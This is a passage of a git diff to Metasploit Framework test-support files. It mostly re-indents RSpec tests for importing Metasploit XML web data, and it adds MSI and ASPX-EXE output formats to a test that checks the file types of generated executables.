thread_manager.monitor.kill - end + thread_manager.monitor.kill + end end diff --git a/spec/support/shared/contexts/msf/ui_driver.rb b/spec/support/shared/contexts/msf/ui_driver.rb index 385abe986d..985914246a 100644 --- a/spec/support/shared/contexts/msf/ui_driver.rb +++ b/spec/support/shared/contexts/msf/ui_driver.rb @@ -1,18 +1,18 @@ shared_context 'Msf::UIDriver' do - let(:driver) do - double( - 'Driver', - :framework => framework - ).tap { |driver| - driver.stub(:on_command_proc=).with(kind_of(Proc)) - driver.stub(:print_line).with(kind_of(String)) do |string| - @output ||= [] - @output.concat string.split("\n") - end - driver.stub(:print_error).with(kind_of(String)) do |string| - @error ||= [] - @error.concat string.split("\n") - end - } - end + let(:driver) do + double( + 'Driver', + :framework => framework + ).tap { |driver| + driver.stub(:on_command_proc=).with(kind_of(Proc)) + driver.stub(:print_line).with(kind_of(String)) do |string| + @output ||= [] + @output.concat string.split("\n") + end + driver.stub(:print_error).with(kind_of(String)) do |string| + @error ||= [] + @error.concat string.split("\n") + end + } + end end diff --git a/spec/support/shared/contexts/msf/util/exe.rb b/spec/support/shared/contexts/msf/util/exe.rb index 7a00d78c63..b03a2444d7 100644 --- a/spec/support/shared/contexts/msf/util/exe.rb +++ b/spec/support/shared/contexts/msf/util/exe.rb @@ -24,6 +24,8 @@ shared_context 'Msf::Util::Exe' do { :format => "loop-vbs", :arch => "x86_64", :file_fp => /ASCII/ }, { :format => "asp", :arch => "x86", :file_fp => /ASCII/ }, { :format => "asp", :arch => "x86_64", :file_fp => /ASCII/ }, + { :format => "aspx-exe", :arch => "x86", :file_fp => /ASCII/ }, + { :format => "aspx-exe", :arch => "x86_64", :file_fp => /ASCII/ }, { :format => "aspx", :arch => "x86", :file_fp => /ASCII/ }, { :format => "aspx", :arch => "x86_64", :file_fp => /ASCII/ }, { :format => "vba", :arch => "x86", :file_fp => /ASCII/ }, @@ -36,6 +38,12 @@ shared_context 'Msf::Util::Exe' do { :format => "psh-net", :arch => "x86_64", :file_fp => /ASCII/ }, { :format => "war", :arch => "x86", :file_fp => /Zip/ }, { :format => "war", :arch => "x86_64", :file_fp => /Zip/ }, + { :format => "msi", :arch => "x86", :file_fp => /Composite Document/ }, + { :format => "msi", :arch => "x64", :file_fp => /Composite Document/ }, + { :format => "msi", :arch => "x86_64", :file_fp => /Composite Document/ }, + { :format => "msi-nouac", :arch => "x86", :file_fp => /Composite Document/ }, + { :format => "msi-nouac", :arch => "x64", :file_fp => /Composite Document/ }, + { :format => "msi-nouac", :arch => "x86_64", :file_fp => /Composite Document/ }, ], "linux" => [ { :format => "elf", :arch => "x86", :file_fp => /ELF 32.*SYSV/ }, diff --git a/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb b/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb index 36a319683a..05e3f09697 100644 --- a/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb +++ b/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb @@ -1,23 +1,23 @@ shared_examples_for 'Msf::DBManager::Export#extract_module_detail_info module_detail child' do |child_node_name| - attribute_name = child_node_name.underscore + attribute_name = child_node_name.underscore - subject(:child_node) do - module_detail_node.at_xpath(child_node_name) - end + subject(:child_node) do + module_detail_node.at_xpath(child_node_name) + end - let(:attribute) do - module_detail.send(attribute_name) - end + let(:attribute) do + module_detail.send(attribute_name) + end - it "should not have Mdm::Module::Detail##{attribute_name} nil" do - attribute.should_not be_nil - end + it "should not have Mdm::Module::Detail##{attribute_name} nil" do + attribute.should_not be_nil + end - it "should have Mdm::Module::Detail##{attribute_name} for #{child_node_name} content" do - if attribute == false - child_node.content.should be_blank - else - child_node.content.should == attribute.to_s - end - end + it "should have Mdm::Module::Detail##{attribute_name} for #{child_node_name} content" do + if attribute == false + child_node.content.should be_blank + else + child_node.content.should == attribute.to_s + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb b/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb index 964925675a..5e28d2f5e6 100644 --- a/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb +++ b/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb @@ -2,1173 +2,1173 @@ require 'builder' shared_examples_for 'Msf::DBManager::ImportMsfXml' do - # Serialized format from pro/modules/auxiliary/pro/report.rb - def serialize(object) - # FIXME https://www.pivotaltracker.com/story/show/46578647 - marshalled = Marshal.dump(object) - base64_encoded = [marshalled].pack('m') - compact = base64_encoded.gsub(/\s+/, '') - - compact - end - - def with_info - db_manager.should_receive(:import_msf_web_element) do |*args, &specialization| - info = specialization.call(element, options) - - yield info - end - - subject - end - - let(:allow_yaml) do - false - end - - let(:document) do - REXML::Document.new(source) - end - - let(:element) do - nil - end - - let(:host_attributes) do - FactoryGirl.attributes_for(:mdm_host) - end - - let(:msf_web_text_element_names) do - [ - 'created-at', - 'host', - 'path', - 'port', - 'query', - 'ssl', - 'updated-at', - 'vhost' - ] - end - - let(:notifier) do - lambda do |event, data| - - end - end - - let(:options) do - { - :allow_yaml => allow_yaml, - :workspace => workspace - } - end - - let(:service_attributes) do - FactoryGirl.attributes_for(:web_service) - end - - let(:web_form_attributes) do - FactoryGirl.attributes_for(:mdm_web_form, :exported) - end - - let(:web_page_attributes) do - FactoryGirl.attributes_for(:mdm_web_page) - end - - let(:workspace) do - nil - end - - let(:xml) do - Builder::XmlMarkup.new(:indent => 2) - end - - it 'should include methods from module so method can be overridden easier in pro' do - db_manager.should be_a Msf::DBManager::ImportMsfXml - end - - context 'CONSTANTS' do - it 'should define MSF_WEB_PAGE_TEXT_ELEMENT_NAMES in any order' do - described_class::MSF_WEB_PAGE_TEXT_ELEMENT_NAMES =~ [ - 'auth', - 'body', - 'code', - 'cookie', - 'ctype', - 'location', - 'mtime' - ] - end - - it 'should define MSF_WEB_TEXT_ELEMENT_NAMES in any order' do - described_class::MSF_WEB_TEXT_ELEMENT_NAMES =~ msf_web_text_element_names - end - - it 'should define MSF_WEB_VULN_TEXT_ELEMENT_NAMES in any order' do - described_class::MSF_WEB_VULN_TEXT_ELEMENT_NAMES =~ [ - 'blame', - 'category', - 'confidence', - 'description', - 'method', - 'name', - 'pname', - 'proof', - 'risk' - ] - end - end - - context '#check_msf_xml_version!' do - let(:root_tag) do - 'root' - end - - let(:source) do - xml.tag!(root_tag) - - xml.target! - end - - subject(:metadata) do - db_manager.send(:check_msf_xml_version!, document) - end - - it_should_behave_like( - 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', - 'MetasploitExpressV1', - :allow_yaml => true - ) - - it_should_behave_like( - 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', - 'MetasploitExpressV2', - :allow_yaml => true - ) - - it_should_behave_like( - 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', - 'MetasploitExpressV3', - :allow_yaml => false - ) - - it_should_behave_like( - 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', - 'MetasploitExpressV4', - :allow_yaml => false - ) - - context 'with other' do - it 'should raise DBImportError' do - expect { - metadata - }.to raise_error( - Msf::DBImportError, - 'Unsupported Metasploit XML document format' - ) - end - end - end - - context '#import_msf_text_element' do - let(:parent_element) do - document.root - end - - let(:child_name) do - 'child' - end - - let(:child_sym) do - child_name.to_sym - end - - subject(:info) do - db_manager.send(:import_msf_text_element, parent_element, child_name) - end - - context 'with child element' do - let(:source) do - xml.parent do - xml.tag!(child_name, text) - end - - xml.target! - end - - context 'with padded text' do - let(:stripped) do - 'stripped' - end - - let(:text) do - " #{stripped} " - end - - it 'should strip text' do - info[:child].should == stripped - end - end - - context 'with NULL text' do - let(:text) do - 'NULL' - end - - it 'should have nil for child name in info' do - # use have_key to verify info isn't just returning hash default of - # `nil`. - info.should have_key(child_sym) - info[child_sym].should be_nil - end - end - - context 'without NULL text' do - let(:text) do - 'some text' - end - - it 'should have text for child name in info' do - info[child_sym].should == text - end - end - end - - context 'without child element' do - let(:source) do - xml.parent - - xml.target! - end - - it 'should return an empty Hash' do - info.should == {} - end - end - end - - context 'import_msf_web_element' do - let(:element) do - document.root - end - - let(:options) do - {} - end - - let(:specialization) do - lambda { |element, options| - {} - } - end - - subject(:import_msf_web_element) do - db_manager.send( - :import_msf_web_element, - element, - options, - &specialization - ) - end - - context 'with :type' do - include_context 'DatabaseCleaner' - - let(:source) do - xml.tag!("web_#{type}") do - web_site = web_vuln.web_site - service = web_site.service - - xml.host(service.host.address) - xml.path(web_vuln.path) - xml.port(service.port) - xml.query(web_vuln.query) - - ssl = false - - if service.name == 'https' - ssl = true - end - - xml.ssl(ssl) - - xml.vhost(web_site.vhost) - end - - xml.target! - end - - let(:type) do - :vuln - end - - let(:web_vuln) do - FactoryGirl.create(:mdm_web_vuln) - end - - before(:each) do - db_manager.stub( - :report_web_vuln - ).with( - an_instance_of(Hash) - ) - - options[:type] = type - end - - context 'with :workspace' do - let(:workspace) do - double(':workspace') - end - - before(:each) do - options[:workspace] = workspace - end - - it 'should not call Msf::DBManager#workspace' do - db_manager.should_not_receive(:workspace) - - import_msf_web_element - end - - it 'should pass :workspace to report_web_<:type>' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(:workspace => workspace) - ) - - import_msf_web_element - end - end - - context 'without :workspace' do - let(:workspace) do - FactoryGirl.create(:mdm_workspace) - end - - before(:each) do - db_manager.workspace = workspace - end - - it 'should call Msf::DBManager#workspace' do - db_manager.should_receive(:workspace).and_call_original - - import_msf_web_element - end - - it 'should pass Msf::DBManager#workspace to report_web_<:type>' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(:workspace => workspace) - ) - - import_msf_web_element - end - end - - it 'should import all elements in MSF_WEB_TEXT_ELEMENT_NAMES with #import_msf_text_element' do - msf_web_text_element_names.each do |name| - db_manager.should_receive( - :import_msf_text_element - ).with( - element, - name - ).and_call_original - end - - import_msf_web_element - end - - context 'with non-empty Hash from #import_msf_text_element' do - let(:returned_hash) do - { - :host => '192.168.0.1' - } - end - - before(:each) do - db_manager.stub(:import_msf_text_element).and_return(returned_hash) - end - - it 'should pass returned Hash as part of Hash passed to report_web_<:type' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(returned_hash) - ) - - import_msf_web_element - end - end - - context 'ssl element' do - context 'without element' do - let(:source) do - xml.tag!("web_#{type}") - - xml.target! - end - - it 'should pass false for :ssl to report_web_<:type>' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(:ssl => false) - ) - - import_msf_web_element - end - end - - context 'with element' do - let(:source) do - xml.tag!("web_#{type}") do - xml.ssl(ssl) - end - - xml.target! - end - - context "with 'true' text" do - let(:ssl) do - true - end - - it 'should pass true for :ssl to report_web_<:type>' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(:ssl => true) - ) - - import_msf_web_element - end - end - - context "without 'true' text" do - let(:ssl) do - false - end - - it 'should pass false for :ssl to report_web_<:type>' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(:ssl => false) - ) - - import_msf_web_element - end - end - end - end - - context 'specialization block' do - let(:returned_hash) do - { - :specialized => double('Value') - } - end - - let(:specialization) do - lambda { |element, option| - returned_hash - } - end - - it 'should be called with element and options' do - actual_args = [] - - db_manager.send( - :import_msf_web_element, - element, - options) do |*args| - actual_args = args - - returned_hash - end - - actual_args.should == [element, options] - end - - it 'should pass return Hash to report_web_<:type>' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(returned_hash) - ) - - import_msf_web_element - end - end - - context 'notifier' do - context 'with :notifier' do - let(:event) do - "web_#{type}".to_sym - end - - let(:notifier) do - lambda do |*args| - successive_args << args - end - end - - let(:successive_args) do - [] - end - - before(:each) do - options[:notifier] = notifier - end - - it 'should call :notifier with event and path' do - import_msf_web_element - - successive_args.length.should == 1 - - args = successive_args[0] - - args.length.should == 2 - args[0].should == event - args[1].should == web_vuln.path - end - end - - context 'without :notifier' do - it 'should not raise an error' do - expect { - import_msf_web_element - }.to_not raise_error - end - end - end - end - - context 'without :type' do - let(:element) do - nil - end - - it 'should raise KeyError' do - expect { - import_msf_web_element - }.to raise_error(KeyError, 'key not found: :type') - end - end - end - - context '#import_msf_web_form_element' do - let(:type) do - :form - end - - subject(:import_msf_web_form_element) do - db_manager.import_msf_web_form_element( - element, - options, - &notifier - ) - end - - context 'call to #import_msf_web_element' do - it_should_behave_like 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' - - context 'specialization return' do - let(:element) do - document.root - end - - let(:source) do - xml.web_form do - xml.method( - web_form_attributes.fetch(:method) - ) - - serialized_params = serialize( - web_form_attributes.fetch(:params) - ) - xml.params(serialized_params) - end - - xml.target! - end - - it 'should be a Hash' do - with_info do |info| - info.should be_a Hash - end - end - - it 'should include :method' do - with_info do |info| - info[:method].should == web_form_attributes[:method] - end - end - - it 'should include :params' do - with_info do |info| - info[:params].should == web_form_attributes[:params] - end - end - end - end - - context 'with required attributes' do - include_context 'DatabaseCleaner' - - let(:element) do - document.root - end - - let(:source) do - xml.web_form do - xml.host( - host_attributes.fetch(:address) - ) - xml.method( - web_form_attributes.fetch(:method) - ) - xml.path( - web_form_attributes.fetch(:path) - ) - xml.port( - service_attributes.fetch(:port) - ) - - ssl = false - - if service_attributes[:name] == 'https' - ssl = true - end - - xml.ssl(ssl) - end - - xml.target! - end - - it 'should create an Mdm::WebForm' do - expect { - import_msf_web_form_element - }.to change(Mdm::WebForm, :count).by(1) - end - end - end - - context '#import_msf_web_page_element' do - let(:type) do - :page - end - - subject(:import_msf_web_page_element) do - db_manager.import_msf_web_page_element( - element, - options, - &notifier - ) - end - - context 'call to #import_msf_web_element' do - it_should_behave_like 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' - - context 'specialization return' do - let(:element) do - document.root - end - - let(:source) do - xml.web_page do - xml.auth( - web_page_attributes.fetch(:auth) - ) - xml.body( - web_page_attributes.fetch(:body) - ) - xml.code( - web_page_attributes.fetch(:code) - ) - xml.cookie( - web_page_attributes.fetch(:cookie) - ) - xml.ctype( - web_page_attributes.fetch(:ctype) - ) - - serialized_headers = serialize( - web_page_attributes.fetch(:headers) - ) - xml.headers(serialized_headers) - - xml.location( - web_page_attributes.fetch(:location) - ) - xml.mtime( - web_page_attributes.fetch(:mtime) - ) - end - - xml.target! - end - - it 'should be a Hash' do - db_manager.should_receive(:import_msf_web_element) do |*args, &specialization| - info = specialization.call(element, options) - - info.should be_a Hash - end - - import_msf_web_page_element - end - - it 'should include :auth' do - with_info do |info| - info[:auth].should == web_page_attributes.fetch(:auth) - end - end - - it 'should include :body' do - with_info do |info| - info[:body].should == web_page_attributes.fetch(:body) - end - end - - it 'should include :code' do - with_info do |info| - info[:code].should == web_page_attributes.fetch(:code) - end - end - - it 'should include :cookie' do - with_info do |info| - info[:cookie].should == web_page_attributes.fetch(:cookie) - end - end - - it 'should include :ctype' do - with_info do |info| - info[:ctype].should == web_page_attributes.fetch(:ctype) - end - end - - it 'should include :headers' do - with_info do |info| - info[:headers].should == web_page_attributes.fetch(:headers) - end - end - - it 'should include :location' do - with_info do |info| - info[:location].should == web_page_attributes.fetch(:location) - end - end - - it 'should include :mtime' do - with_info do |info| - info[:mtime].should == web_page_attributes.fetch(:mtime) - end - end - end - end - - context 'with required attributes' do - include_context 'DatabaseCleaner' - - let(:element) do - document.root - end - - let(:source) do - xml.web_page do - xml.body( - web_page_attributes.fetch(:body) - ) - xml.code( - web_page_attributes.fetch(:code) - ) - - serialized_headers = serialize( - web_page_attributes.fetch(:headers) - ) - xml.headers(serialized_headers) - - xml.host( - host_attributes.fetch(:address) - ) - xml.path( - web_page_attributes.fetch(:headers) - ) - xml.port( - service_attributes.fetch(:port) - ) - xml.query( - web_page_attributes.fetch(:query) - ) - - ssl = false - - if service_attributes[:name] == 'https' - ssl = true - end - - xml.ssl(ssl) - end - - xml.target! - end - - it 'should create an Mdm::WebPage' do - expect { - import_msf_web_page_element - }.to change(Mdm::WebPage, :count).by(1) - end - end - end - - context '#import_msf_web_vuln_element' do - let(:type) do - :vuln - end - - let(:web_vuln_attributes) do - FactoryGirl.attributes_for(:exported_web_vuln) - end - - subject(:import_msf_web_vuln_element) do - db_manager.import_msf_web_vuln_element( - element, - options, - &notifier - ) - end - - context 'call to #import_msf_web_element' do - it_should_behave_like 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' - - context 'specialization return' do - let(:element) do - document.root - end - - let(:source) do - xml.web_vuln do - xml.blame( - web_vuln_attributes.fetch(:blame) - ) - xml.category( - web_vuln_attributes.fetch(:category) - ) - xml.confidence( - web_vuln_attributes.fetch(:confidence) - ) - xml.description( - web_vuln_attributes.fetch(:description) - ) - xml.method( - web_vuln_attributes.fetch(:method) - ) - xml.name( - web_vuln_attributes.fetch(:name) - ) - xml.pname( - web_vuln_attributes.fetch(:pname) - ) - xml.proof( - web_vuln_attributes.fetch(:proof) - ) - xml.risk( - web_vuln_attributes.fetch(:risk) - ) - end - - xml.target! - end - - it 'should be a Hash' do - with_info do |info| - info.should be_a Hash - end - - import_msf_web_vuln_element - end - - it 'should include :blame' do - with_info do |info| - info[:blame].should == web_vuln_attributes.fetch(:blame) - end - end - - it 'should include :category' do - with_info do |info| - info[:category].should == web_vuln_attributes.fetch(:category) - end - end - - it 'should include :confidence' do - with_info do |info| - info[:confidence].should == web_vuln_attributes.fetch(:confidence) - end - end - - it 'should include :description' do - with_info do |info| - info[:description].should == web_vuln_attributes.fetch(:description) - end - end - - it 'should include :method' do - with_info do |info| - info[:method].should == web_vuln_attributes.fetch(:method) - end - end - - it 'should include :name' do - with_info do |info| - info[:name].should == web_vuln_attributes.fetch(:name) - end - end - - it 'should include :pname' do - with_info do |info| - info[:pname].should == web_vuln_attributes.fetch(:pname) - end - end - - it 'should include :proof' do - with_info do |info| - info[:proof].should == web_vuln_attributes.fetch(:proof) - end - end - - it 'should include :risk' do - with_info do |info| - info[:risk].should == web_vuln_attributes.fetch(:risk) - end - end - end - end - - context 'with required attributes' do - include_context 'DatabaseCleaner' - - let(:element) do - document.root - end - - let(:source) do - xml.web_vuln do - xml.category( - web_vuln_attributes.fetch(:category) - ) - xml.host( - host_attributes.fetch(:address) - ) - xml.method( - web_vuln_attributes.fetch(:method) - ) - xml.name( - web_vuln_attributes.fetch(:name) - ) - - serialized_params = serialize( - web_vuln_attributes.fetch(:params) - ) - xml.params(serialized_params) - - xml.path( - web_vuln_attributes.fetch(:path) - ) - xml.pname( - web_vuln_attributes.fetch(:pname) - ) - xml.port( - service_attributes.fetch(:port) - ) - xml.proof( - web_vuln_attributes.fetch(:proof) - ) - xml.risk( - web_vuln_attributes.fetch(:risk) - ) - - ssl = false - - if service_attributes[:name] == 'https' - ssl = true - end - - xml.ssl(ssl) - end - - xml.target! - end - - it 'should create an Mdm::WebVuln' do - expect { - import_msf_web_vuln_element - }.to change(Mdm::WebVuln, :count).by(1) - end - end - end - - context '#import_msf_xml' do - let(:data) do - '<MetasploitV4/>' - end - - subject(:import_msf_xml) do - db_manager.import_msf_xml(:data => data) - end - - it 'should call #check_msf_xml_version!' do - db_manager.should_receive(:check_msf_xml_version!).and_call_original - - import_msf_xml - end - - context 'with web_forms/web_form elements' do - include_context 'DatabaseCleaner' - - let(:data) do - xml.tag!('MetasploitV4') do - xml.web_forms do - xml.web_form do - xml.host( - host_attributes.fetch(:address) - ) - xml.method( - web_form_attributes.fetch(:method) - ) - xml.path( - web_form_attributes.fetch(:path) - ) - xml.port( - service_attributes.fetch(:port) - ) - - ssl = false - - if service_attributes[:name] == 'https' - ssl = true - end - - xml.ssl(ssl) - end - end - end - - xml.target! - end - - it 'should call #import_msf_web_form_element' do - db_manager.should_receive(:import_msf_web_form_element).and_call_original - - import_msf_xml - end - end - - context 'with web_pages/web_page elements' do - include_context 'DatabaseCleaner' - - let(:data) do - xml.tag!('MetasploitV4') do - xml.web_pages do - xml.web_page do - xml.body( - web_page_attributes.fetch(:body) - ) - xml.code( - web_page_attributes.fetch(:code) - ) - - serialized_headers = serialize( - web_page_attributes.fetch(:headers) - ) - xml.headers(serialized_headers) - - xml.host( - host_attributes.fetch(:address) - ) - xml.path( - web_page_attributes.fetch(:headers) - ) - xml.port( - service_attributes.fetch(:port) - ) - xml.query( - web_page_attributes.fetch(:query) - ) - - ssl = false - - if service_attributes[:name] == 'https' - ssl = true - end - - xml.ssl(ssl) - end - end - end - - xml.target! - end - - it 'should call #import_msf_web_page_element' do - db_manager.should_receive(:import_msf_web_page_element).and_call_original - - import_msf_xml - end - end - - context 'with web_vulns/web_vuln elements' do - include_context 'DatabaseCleaner' - - let(:data) do - xml.tag!('MetasploitV4') do - xml.web_vulns do - xml.web_vuln do - xml.category(web_vuln.category) - - service = web_vuln.web_site.service - xml.host(service.host.address) - - xml.method(web_vuln.method) - xml.name(web_vuln.name) - - serialized_params = serialize(web_vuln.params) - xml.params(serialized_params) - - xml.path(web_vuln.path) - xml.pname(web_vuln.pname) - xml.port(service.port) - xml.proof(web_vuln.proof) - - ssl = false - - if service.name == 'https' - ssl = true - end - - xml.ssl(ssl) - end - end - end - - xml.target! - end - - let(:web_vuln) do - FactoryGirl.create(:mdm_web_vuln) - end - - it 'should call #import_msf_web_vuln_element' do - db_manager.should_receive(:import_msf_web_vuln_element).and_call_original - - import_msf_xml - end - end - end + # Serialized format from pro/modules/auxiliary/pro/report.rb + def serialize(object) + # FIXME https://www.pivotaltracker.com/story/show/46578647 + marshalled = Marshal.dump(object) + base64_encoded = [marshalled].pack('m') + compact = base64_encoded.gsub(/\s+/, '') + + compact + end + + def with_info + db_manager.should_receive(:import_msf_web_element) do |*args, &specialization| + info = specialization.call(element, options) + + yield info + end + + subject + end + + let(:allow_yaml) do + false + end + + let(:document) do + REXML::Document.new(source) + end + + let(:element) do + nil + end + + let(:host_attributes) do + FactoryGirl.attributes_for(:mdm_host) + end + + let(:msf_web_text_element_names) do + [ + 'created-at', + 'host', + 'path', + 'port', + 'query', + 'ssl', + 'updated-at', + 'vhost' + ] + end + + let(:notifier) do + lambda do |event, data| + + end + end + + let(:options) do + { + :allow_yaml => allow_yaml, + :workspace => workspace + } + end + + let(:service_attributes) do + FactoryGirl.attributes_for(:web_service) + end + + let(:web_form_attributes) do + FactoryGirl.attributes_for(:mdm_web_form, :exported) + end + + let(:web_page_attributes) do + FactoryGirl.attributes_for(:mdm_web_page) + end + + let(:workspace) do + nil + end + + let(:xml) do + Builder::XmlMarkup.new(:indent => 2) + end + + it 'should include methods from module so method can be overridden easier in pro' do + db_manager.should be_a Msf::DBManager::ImportMsfXml + end + + context 'CONSTANTS' do + it 'should define MSF_WEB_PAGE_TEXT_ELEMENT_NAMES in any order' do + described_class::MSF_WEB_PAGE_TEXT_ELEMENT_NAMES =~ [ + 'auth', + 'body', + 'code', + 'cookie', + 'ctype', + 'location', + 'mtime' + ] + end + + it 'should define MSF_WEB_TEXT_ELEMENT_NAMES in any order' do + described_class::MSF_WEB_TEXT_ELEMENT_NAMES =~ msf_web_text_element_names + end + + it 'should define MSF_WEB_VULN_TEXT_ELEMENT_NAMES in any order' do + described_class::MSF_WEB_VULN_TEXT_ELEMENT_NAMES =~ [ + 'blame', + 'category', + 'confidence', + 'description', + 'method', + 'name', + 'pname', + 'proof', + 'risk' + ] + end + end + + context '#check_msf_xml_version!' do + let(:root_tag) do + 'root' + end + + let(:source) do + xml.tag!(root_tag) + + xml.target! + end + + subject(:metadata) do + db_manager.send(:check_msf_xml_version!, document) + end + + it_should_behave_like( + 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', + 'MetasploitExpressV1', + :allow_yaml => true + ) + + it_should_behave_like( + 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', + 'MetasploitExpressV2', + :allow_yaml => true + ) + + it_should_behave_like( + 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', + 'MetasploitExpressV3', + :allow_yaml => false + ) + + it_should_behave_like( + 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', + 'MetasploitExpressV4', + :allow_yaml => false + ) + + context 'with other' do + it 'should raise DBImportError' do + expect { + metadata + }.to raise_error( + Msf::DBImportError, + 'Unsupported Metasploit XML document format' + ) + end + end + end + + context '#import_msf_text_element' do + let(:parent_element) do + document.root + end + + let(:child_name) do + 'child' + end + + let(:child_sym) do + child_name.to_sym + end + + subject(:info) do + db_manager.send(:import_msf_text_element, parent_element, child_name) + end + + context 'with child element' do + let(:source) do + xml.parent do + xml.tag!(child_name, text) + end + + xml.target! + end + + context 'with padded text' do + let(:stripped) do + 'stripped' + end + + let(:text) do + " #{stripped} " + end + + it 'should strip text' do + info[:child].should == stripped + end + end + + context 'with NULL text' do + let(:text) do + 'NULL' + end + + it 'should have nil for child name in info' do + # use have_key to verify info isn't just returning hash default of + # `nil`. + info.should have_key(child_sym) + info[child_sym].should be_nil + end + end + + context 'without NULL text' do + let(:text) do + 'some text' + end + + it 'should have text for child name in info' do + info[child_sym].should == text + end + end + end + + context 'without child element' do + let(:source) do + xml.parent + + xml.target! + end + + it 'should return an empty Hash' do + info.should == {} + end + end + end + + context 'import_msf_web_element' do + let(:element) do + document.root + end + + let(:options) do + {} + end + + let(:specialization) do + lambda { |element, options| + {} + } + end + + subject(:import_msf_web_element) do + db_manager.send( + :import_msf_web_element, + element, + options, + &specialization + ) + end + + context 'with :type' do + include_context 'DatabaseCleaner' + + let(:source) do + xml.tag!("web_#{type}") do + web_site = web_vuln.web_site + service = web_site.service + + xml.host(service.host.address) + xml.path(web_vuln.path) + xml.port(service.port) + xml.query(web_vuln.query) + + ssl = false + + if service.name == 'https' + ssl = true + end + + xml.ssl(ssl) + + xml.vhost(web_site.vhost) + end + + xml.target! + end + + let(:type) do + :vuln + end + + let(:web_vuln) do + FactoryGirl.create(:mdm_web_vuln) + end + + before(:each) do + db_manager.stub( + :report_web_vuln + ).with( + an_instance_of(Hash) + ) + + options[:type] = type + end + + context 'with :workspace' do + let(:workspace) do + double(':workspace') + end + + before(:each) do + options[:workspace] = workspace + end + + it 'should not call Msf::DBManager#workspace' do + db_manager.should_not_receive(:workspace) + + import_msf_web_element + end + + it 'should pass :workspace to report_web_<:type>' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(:workspace => workspace) + ) + + import_msf_web_element + end + end + + context 'without :workspace' do + let(:workspace) do + FactoryGirl.create(:mdm_workspace) + end + + before(:each) do + db_manager.workspace = workspace + end + + it 'should call Msf::DBManager#workspace' do + db_manager.should_receive(:workspace).and_call_original + + import_msf_web_element + end + + it 'should pass Msf::DBManager#workspace to report_web_<:type>' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(:workspace => workspace) + ) + + import_msf_web_element + end + end + + it 'should import all elements in MSF_WEB_TEXT_ELEMENT_NAMES with #import_msf_text_element' do + msf_web_text_element_names.each do |name| + db_manager.should_receive( + :import_msf_text_element + ).with( + element, + name + ).and_call_original + end + + import_msf_web_element + end + + context 'with non-empty Hash from #import_msf_text_element' do + let(:returned_hash) do + { + :host => '192.168.0.1' + } + end + + before(:each) do + db_manager.stub(:import_msf_text_element).and_return(returned_hash) + end + + it 'should pass returned Hash as part of Hash passed to report_web_<:type' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(returned_hash) + ) + + import_msf_web_element + end + end + + context 'ssl element' do + context 'without element' do + let(:source) do + xml.tag!("web_#{type}") + + xml.target! + end + + it 'should pass false for :ssl to report_web_<:type>' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(:ssl => false) + ) + + import_msf_web_element + end + end + + context 'with element' do + let(:source) do + xml.tag!("web_#{type}") do + xml.ssl(ssl) + end + + xml.target! + end + + context "with 'true' text" do + let(:ssl) do + true + end + + it 'should pass true for :ssl to report_web_<:type>' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(:ssl => true) + ) + + import_msf_web_element + end + end + + context "without 'true' text" do + let(:ssl) do + false + end + + it 'should pass false for :ssl to report_web_<:type>' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(:ssl => false) + ) + + import_msf_web_element + end + end + end + end + + context 'specialization block' do + let(:returned_hash) do + { + :specialized => double('Value') + } + end + + let(:specialization) do + lambda { |element, option| + returned_hash + } + end + + it 'should be called with element and options' do + actual_args = [] + + db_manager.send( + :import_msf_web_element, + element, + options) do |*args| + actual_args = args + + returned_hash + end + + actual_args.should == [element, options] + end + + it 'should pass return Hash to report_web_<:type>' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(returned_hash) + ) + + import_msf_web_element + end + end + + context 'notifier' do + context 'with :notifier' do + let(:event) do + "web_#{type}".to_sym + end + + let(:notifier) do + lambda do |*args| + successive_args << args + end + end + + let(:successive_args) do + [] + end + + before(:each) do + options[:notifier] = notifier + end + + it 'should call :notifier with event and path' do + import_msf_web_element + + successive_args.length.should == 1 + + args = successive_args[0] + + args.length.should == 2 + args[0].should == event + args[1].should == web_vuln.path + end + end + + context 'without :notifier' do + it 'should not raise an error' do + expect { + import_msf_web_element + }.to_not raise_error + end + end + end + end + + context 'without :type' do + let(:element) do + nil + end + + it 'should raise KeyError' do + expect { + import_msf_web_element + }.to raise_error(KeyError, 'key not found: :type') + end + end + end + + context '#import_msf_web_form_element' do + let(:type) do + :form + end + + subject(:import_msf_web_form_element) do + db_manager.import_msf_web_form_element( + element, + options, + &notifier + ) + end + + context 'call to #import_msf_web_element' do + it_should_behave_like 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' + + context 'specialization return' do + let(:element) do + document.root + end + + let(:source) do + xml.web_form do + xml.method( + 